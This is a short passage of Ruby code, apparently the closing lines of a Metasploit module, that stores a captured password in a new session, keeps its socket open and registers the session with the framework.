sess.exploit_datastore['PASSWORD'] = pass
# Prevent the socket from being closed
self.sockets.delete(self.sock)
self.sock = nil
framework.sessions.register(sess)
sess.process_autoruns(datastore)
end end
end end